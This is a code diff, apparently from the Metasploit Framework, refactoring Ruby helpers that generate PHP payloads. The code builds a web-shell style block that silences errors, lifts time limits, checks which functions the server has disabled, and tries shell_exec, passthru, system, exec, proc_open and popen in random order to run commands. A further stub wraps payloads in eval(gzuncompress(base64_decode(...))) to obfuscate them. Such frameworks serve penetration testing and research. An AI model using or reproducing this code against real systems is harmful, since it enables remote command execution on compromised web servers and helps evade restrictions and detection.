@@ -16,15 +16,14 @@ module Msf::Payload::Php
16
16
#
17
17
# @return [String] A chunk of PHP code
18
18
#
19
- def php_preamble ( options = { } )
19
+ def self . preamble ( options = { } )
20
20
dis = options [ :disabled_varname ] || '$' + Rex ::Text . rand_text_alpha ( rand ( 4 ) + 4 )
21
21
dis = '$' + dis if ( dis [ 0 , 1 ] != '$' )
22
22
23
- @dis = dis
24
-
25
23
# Canonicalize the list of disabled functions to facilitate choosing a
26
24
# system-like function later.
27
- preamble = "/*<?php /**/
25
+ <<~TEXT
26
+ /*<?php /**/
28
27
@error_reporting(0);@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);
29
28
#{ dis } =@ini_get('disable_functions');
30
29
if(!empty(#{ dis } )){
@@ -34,8 +33,11 @@ def php_preamble(options = {})
34
33
}else{
35
34
#{ dis } =array();
36
35
}
37
- "
38
- return preamble
36
+ TEXT
37
+ end
38
+
39
+ def php_preamble ( options = { } )
40
+ Msf ::Payload ::Php . preamble ( options )
39
41
end
40
42
41
43
#
@@ -52,63 +54,70 @@ def php_preamble(options = {})
52
54
# @return [String] A chunk of PHP code that, with a little luck, will run a
53
55
# command.
54
56
#
55
- def php_system_block ( options = { } )
57
+ def self . system_block ( options = { } )
56
58
cmd = options [ :cmd_varname ] || '$cmd'
57
- dis = options [ :disabled_varname ] || @dis || '$' + Rex ::Text . rand_text_alpha ( rand ( 4 ) + 4 )
59
+ dis = options [ :disabled_varname ] || '$' + Rex ::Text . rand_text_alpha ( rand ( 4 ) + 4 )
58
60
output = options [ :output_varname ] || '$' + Rex ::Text . rand_text_alpha ( rand ( 4 ) + 4 )
59
61
60
- if ( @dis . nil? )
61
- @dis = dis
62
- end
63
-
64
62
cmd = '$' + cmd if ( cmd [ 0 , 1 ] != '$' )
65
63
dis = '$' + dis if ( dis [ 0 , 1 ] != '$' )
66
64
output = '$' + output if ( output [ 0 , 1 ] != '$' )
67
65
68
66
is_callable = '$' + Rex ::Text . rand_text_alpha ( rand ( 4 ) + 4 )
69
67
in_array = '$' + Rex ::Text . rand_text_alpha ( rand ( 4 ) + 4 )
70
68
71
- setup = "
69
+ setup = ''
70
+ if options [ :cmd ]
71
+ setup << <<~TEXT
72
+ #{ cmd } =gzuncompress(base64_decode('#{ Rex ::Text . encode_base64 ( Rex ::Text . zlib_deflate ( options [ :cmd ] ) ) } '));
73
+ TEXT
74
+ end
75
+ setup << <<~TEXT
72
76
if (FALSE!==stristr(PHP_OS,'win')){
73
77
#{ cmd } =#{ cmd } .\" 2>&1\\ n\" ;
74
78
}
75
79
#{ is_callable } ='is_callable';
76
80
#{ in_array } ='in_array';
77
- "
78
- shell_exec = "
81
+ TEXT
82
+ shell_exec = <<~TEXT
79
83
if(#{ is_callable } ('shell_exec')&&!#{ in_array } ('shell_exec',#{ dis } )){
80
84
#{ output } =`#{ cmd } `;
81
- }else"
82
- passthru = "
85
+ }else
86
+ TEXT
87
+ passthru = <<~TEXT
83
88
if(#{ is_callable } ('passthru')&&!#{ in_array } ('passthru',#{ dis } )){
84
89
ob_start();
85
90
passthru(#{ cmd } );
86
91
#{ output } =ob_get_contents();
87
92
ob_end_clean();
88
- }else"
89
- system = "
93
+ }else
94
+ TEXT
95
+ system = <<~TEXT
90
96
if(#{ is_callable } ('system')&&!#{ in_array } ('system',#{ dis } )){
91
97
ob_start();
92
98
system(#{ cmd } );
93
99
#{ output } =ob_get_contents();
94
100
ob_end_clean();
95
- }else"
96
- exec = "
101
+ }else
102
+ TEXT
103
+ exec = <<~TEXT
97
104
if(#{ is_callable } ('exec')&&!#{ in_array } ('exec',#{ dis } )){
98
105
#{ output } =array();
99
106
exec(#{ cmd } ,#{ output } );
100
107
#{ output } =join(chr(10),#{ output } ).chr(10);
101
- }else"
102
- proc_open = "
108
+ }else
109
+ TEXT
110
+ proc_open = <<~TEXT
103
111
if(#{ is_callable } ('proc_open')&&!#{ in_array } ('proc_open',#{ dis } )){
104
112
$handle=proc_open(#{ cmd } ,array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);
105
113
#{ output } =NULL;
106
114
while(!feof($pipes[1])){
107
115
#{ output } .=fread($pipes[1],1024);
108
116
}
109
117
@proc_close($handle);
110
- }else"
111
- popen = "
118
+ }else
119
+ TEXT
120
+ popen = <<~TEXT
112
121
if(#{ is_callable } ('popen')&&!#{ in_array } ('popen',#{ dis } )){
113
122
$fp=popen(#{ cmd } ,'r');
114
123
#{ output } =NULL;
@@ -118,7 +127,8 @@ def php_system_block(options = {})
118
127
}
119
128
}
120
129
@pclose($fp);
121
- }else"
130
+ }else
131
+ TEXT
122
132
# Currently unused until we can figure out how to get output with COM
123
133
# objects (which are not subject to safe mode restrictions) instead of
124
134
# PHP functions.
@@ -128,21 +138,25 @@ def php_system_block(options = {})
128
138
# $wscript->run(#{cmd} . ' > %TEMP%\\out.txt');
129
139
# #{output} = file_get_contents('%TEMP%\\out.txt');
130
140
# }else"
131
- fail_block = "
141
+ fail_block = <<~TEXT
132
142
{
133
143
#{ output } =0;
134
144
}
135
- "
145
+ TEXT
136
146
137
147
exec_methods = [ passthru , shell_exec , system , exec , proc_open , popen ]
138
148
exec_methods = exec_methods . shuffle
139
149
setup + exec_methods . join ( "" ) + fail_block
140
150
end
141
151
142
- def self . create_exec_stub ( php_code , wrap_in_tags : true )
152
+ def php_system_block ( options = { } )
153
+ Msf ::Payload ::Php . system_block ( options )
154
+ end
155
+
156
+ def self . create_exec_stub ( php_code , options = { } )
143
157
payload = Rex ::Text . encode_base64 ( Rex ::Text . zlib_deflate ( php_code ) )
144
158
b64_stub = "eval(gzuncompress(base64_decode('#{ payload } ')));"
145
- b64_stub = "<?php #{ b64_stub } ?>" if wrap_in_tags
159
+ b64_stub = "<?php #{ b64_stub } ?>" if options . fetch ( : wrap_in_tags, true )
146
160
b64_stub
147
161
end
148
162
0 commit comments